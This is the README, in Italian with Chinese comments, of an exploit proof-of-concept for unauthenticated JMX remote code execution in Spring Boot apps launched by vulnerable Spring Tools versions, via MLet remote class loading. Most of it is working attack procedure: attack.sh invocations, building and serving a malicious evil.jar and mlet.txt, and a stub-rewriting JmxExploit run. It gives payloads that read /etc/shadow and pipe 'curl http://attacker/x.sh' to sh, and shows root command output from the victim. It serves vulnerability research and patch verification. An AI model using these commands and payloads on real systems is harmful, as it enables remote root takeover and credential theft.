
Exploit proof-of-concept per RCE JMX non autenticata nella modalità live information di Spring Tools, che utilizza il caricamento remoto di classi tramite MLet per eseguire comandi arbitrari su applicazioni Spring Boot vulnerabili.
English README | Avviso di vulnerabilità: Spring Security Advisory | CVE Record
Vulnerabilità: quando Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 avvia applicazioni Spring Boot in modalità live information (attiva per impostazione predefinita), inietta nell'applicazione parametri JMX remoti senza autenticazione, senza TLS, in ascolto su tutte le interfacce di rete. Un attaccante sulla rete adiacente può connettersi senza credenziali al JMX MBeanServer e ottenere RCE diretta (privilegi root) tramite caricamento remoto di classi MLet.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HConfrontando il tag vulnerabile 5.2.0.RELEASE (== v2.2.0) con il tag corretto 5.3.0.RELEASE (== v2.3.0):
Versione vulnerabile eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: abilitato per impostazione predefinita, ogni avvio dell'app Boot dall'IDE inietta i parametri sopra indicati.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) inietta le stesse -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Versione corretta 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX si lega solo al loopback).com.sun.management.jmxremote*, sostituendoli con un attach locale tramite Attach API in base al PID del processo (stesso comportamento lato VSCode, dove debug-config-provider.ts rimuove completamente i parametri JMX remoti).Nota: la sola presenza di
-Dcom.sun.management.jmxremote.portabilita l'agente JMX (senza bisogno dell'interruttore principalecom.sun.management.jmxremote); la variante VSCode è ugualmente efficace.
Dipendenze: docker, JDK 17+ (predefinito /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opzionale).
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
Personalizzazione del comando eseguito sulla macchina vittima (predefinito id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
Lo script automatizza: costruzione dell'app Spring Boot vittima → creazione di una rete docker bridge isolata (contenitore vittima 172.22.0.x, attaccante sull'host, simulazione della rete adiacente) → avvio dell'app con i parametri JVM della versione corrispondente → visualizzazione della porta JMX in ascolto → esecuzione dell'exploit → verifica dei file marcatore RCE nel contenitore vittima (/tmp/CVE-2026-47858_PWNED*).
attack.sh (consigliato)I comandi sono completamente configurabili; per cambiare il comando non è necessario ricompilare nulla (il comando viene passato tramite il tag MLET <ARG>, il jar è indipendente dal comando):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Procedura: compila automaticamente evil.jar → genera mlet.txt dopo aver eseguito l'escape XML del comando → avvia un servizio HTTP per servire evil.jar + mlet.txt → compila ed esegue JmxExploit → (se fornito il nome del contenitore) entra nel contenitore per verificare i file marcatore.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn implementa DynamicMBean; il comando viene eseguito in modo sincrono nel costruttore tramite /bin/sh -c (priorità: parametro MLET <ARG> > variabile d'ambiente del processo vittima CVE_PAYLOAD_CMD > comando predefinito id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — se esiste, RCE riuscita/tmp/CVE-2026-47858_PWNED_cmd — comando effettivamente eseguito/tmp/CVE-2026-47858_PWNED_cmdout — output del comando (stdout+stderr)Perché
<ARG>? IlMLetParserdi JDK riconosce solo<ARG>(<PARAM>viene ignorato silenziosamente) e siaTYPEcheVALUEsono obbligatori; inoltre il parser MLet non gestisce i commenti HTML, quindi inmlet.txtnon devono comparire testi<...>superflui.
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL restituisce, il comando è già completato (i file marcatore sono già stati scritti su disco).-Djava.rmi.server.hostname=localhost presente nella configurazione vulnerabile fa sì che lo stub RMI annunci solo "localhost" (il client predefinito tenterebbe di connettersi al proprio loopback fallendo, come si può riprodurre con NaiveJmxClient). JmxExploit lo aggira riscrivendo via riflessione l'host TCPEndpoint dello stub con l'IP reale (anche strumenti esistenti come Metasploit java_jmx_server riescono a bypassarlo).Evidenze reali (nel contenitore vittima):
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true per sovrascrivere la configurazione.CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata, verifica di vulnerabilità e test difensivi. Sfruttare qualsiasi sistema senza autorizzazione è illegale; l'utente si assume ogni responsabilità.
| Configurazione | Ascolto JMX | Connessione remota non autorizzata | RCE |
|---|
| 5.2.0 vulnerabile (parametri Eclipse) | *:19090 ecc. (0.0.0.0) | ✅ (rewrite host stub per bypassare localhost) | ✅ root |
| 5.2.0 vulnerabile (parametri VSCode 2.2.0) | *:19090 (0.0.0.0) | ✅ | ✅ |
| 5.3.0 corretta (porta fissa) | solo 127.0.0.1 | ❌ connessione rifiutata | ❌ |
| 5.3.0 corretta (default auto) | nessuna porta JMX | ❌ | ❌ |